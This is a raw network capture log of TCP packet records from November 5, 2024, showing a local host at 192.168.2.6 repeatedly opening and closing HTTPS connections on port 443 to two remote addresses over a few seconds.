Nov 5, 2024 20:51:11.643578053 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.643723965 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:11.643733025 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.141856909 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.142317057 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.142340899 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.142777920 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.142782927 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.151379108 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.151751995 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.151774883 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.152153969 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.152158976 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.186840057 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.187467098 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.187478065 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.188060999 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.188066006 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.236808062 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.237263918 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.237271070 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.237658024 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.237670898 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.278060913 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.278348923 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.278394938 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.278434992 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.278444052 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.278456926 CET	49750	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.278460979 CET	443	49750	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.281101942 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.281131983 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.281229019 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.281481028 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.281491041 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.288968086 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.289024115 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.289165020 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.289335966 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.289352894 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.289365053 CET	49751	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.289371014 CET	443	49751	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.291651011 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.291670084 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.291906118 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.292126894 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.292140961 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.323795080 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.323982954 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.324184895 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.324448109 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.324455023 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.324465036 CET	49752	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.324470043 CET	443	49752	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.326718092 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.326754093 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.326833963 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.327078104 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.327090979 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.372860909 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.372922897 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.373125076 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.373193979 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.373193979 CET	49753	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.373204947 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.373213053 CET	443	49753	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.376043081 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.376059055 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.376121998 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.376255035 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.376266003 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.405572891 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.406418085 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.406424046 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.406972885 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.406976938 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.543546915 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.543595076 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.543764114 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.543797016 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.543803930 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.543813944 CET	49754	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.543817997 CET	443	49754	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.546037912 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.546065092 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:12.546174049 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.546441078 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:12.546452045 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.061919928 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.063049078 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.063070059 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.063942909 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.063949108 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.068454981 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.069248915 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.069264889 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.069930077 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.069936037 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.095211029 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.095581055 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.095594883 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.095983028 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.095987082 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.127326965 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.127648115 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.127657890 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.128091097 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.128096104 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.199716091 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.199757099 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.199830055 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.199980974 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.199996948 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.200006008 CET	49755	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.200011969 CET	443	49755	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.202831984 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.202852964 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.202914000 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.203047037 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.203058004 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.204055071 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.204155922 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.204245090 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.204360008 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.204368114 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.204399109 CET	49756	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.204404116 CET	443	49756	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.206425905 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.206438065 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.206509113 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.206635952 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.206645012 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.241277933 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.241472960 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.241522074 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.241549015 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.241564035 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.241575003 CET	49757	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.241580009 CET	443	49757	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.243561029 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.243573904 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.243767977 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.243895054 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.243902922 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.265748024 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.265876055 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.266004086 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.266031981 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.266042948 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.266051054 CET	49758	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.266053915 CET	443	49758	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.267987013 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.267996073 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.268066883 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.268182039 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.268191099 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.326322079 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.338355064 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.338370085 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.338864088 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.338869095 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.472865105 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.472913027 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.473007917 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.473196983 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.473215103 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.473231077 CET	49759	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.473237038 CET	443	49759	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.475965023 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.475975990 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.476043940 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.476176977 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.476183891 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.957845926 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.958322048 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.958339930 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.958775997 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.958781958 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.969069004 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.969537973 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.969561100 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:13.970370054 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:13.970381975 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.007859945 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.008400917 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.008431911 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.008860111 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.008866072 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.094388962 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.094449043 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.094532967 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.094698906 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.094698906 CET	49760	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.094707966 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.094711065 CET	443	49760	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.096976042 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.097018957 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.097255945 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.097526073 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.097538948 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.102679968 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:14.102690935 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:14.102916002 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:14.104034901 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:14.104047060 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:14.107275963 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.109927893 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.110039949 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.110069990 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.110069990 CET	49761	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.110083103 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.110094070 CET	443	49761	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.112492085 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.112507105 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.112582922 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.112745047 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.112755060 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.136276007 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.136739969 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.136748075 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.138533115 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.138537884 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.142839909 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.143070936 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.143537045 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.143583059 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.143583059 CET	49763	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.143594027 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.143604994 CET	443	49763	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.149646997 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.149660110 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.149790049 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.149918079 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.149929047 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.227750063 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.228293896 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.228302002 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.228774071 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.228777885 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.364903927 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.365093946 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.366607904 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.366607904 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.366661072 CET	49764	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.366671085 CET	443	49764	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.369132996 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.369184017 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.369406939 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.370534897 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.370553970 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.833853960 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.833921909 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.833966017 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.836489916 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.836503983 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.836515903 CET	49762	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.836519957 CET	443	49762	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.840678930 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.840703011 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.840761900 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.841119051 CET	49770	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.841130972 CET	443	49770	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.863101959 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.865915060 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.865947008 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.866609097 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.866612911 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.885533094 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.889231920 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.936237097 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.936249018 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.936954975 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.937899113 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.937905073 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.942296028 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.942305088 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.947063923 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:14.947069883 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.999373913 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.999552011 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:14.999593973 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.066097975 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.066118002 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.066128016 CET	49767	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.066133976 CET	443	49767	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.067207098 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.067265034 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.067322969 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.075083971 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.075097084 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.075107098 CET	49768	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.075110912 CET	443	49768	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.085974932 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.086059093 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.086107969 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.137325048 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.144628048 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.144648075 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.144658089 CET	49765	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.144664049 CET	443	49765	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.149285078 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.149307013 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.149367094 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.150501966 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.150516987 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.151254892 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.151259899 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.152348995 CET	49772	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.152359009 CET	443	49772	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.155061007 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.155097008 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.155153036 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.155280113 CET	49773	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.155291080 CET	443	49773	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.157737970 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.157747984 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.157804012 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.158317089 CET	49774	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.158324957 CET	443	49774	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.216478109 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.216532946 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.237354040 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.237369061 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.237648010 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.280689955 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.284975052 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.285152912 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.285192966 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.297234058 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.297255039 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.297265053 CET	49769	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.297271013 CET	443	49769	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.420811892 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.420845032 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.420916080 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.425093889 CET	49775	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:15.425117016 CET	443	49775	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:15.429764032 CET	49766	443	192.168.2.6	4.175.87.197
Nov 5, 2024 20:51:15.475321054 CET	443	49766	4.175.87.197	192.168.2.6
Nov 5, 2024 20:51:15.595529079 CET	443	49770	13.107.253.45	192.168.2.6
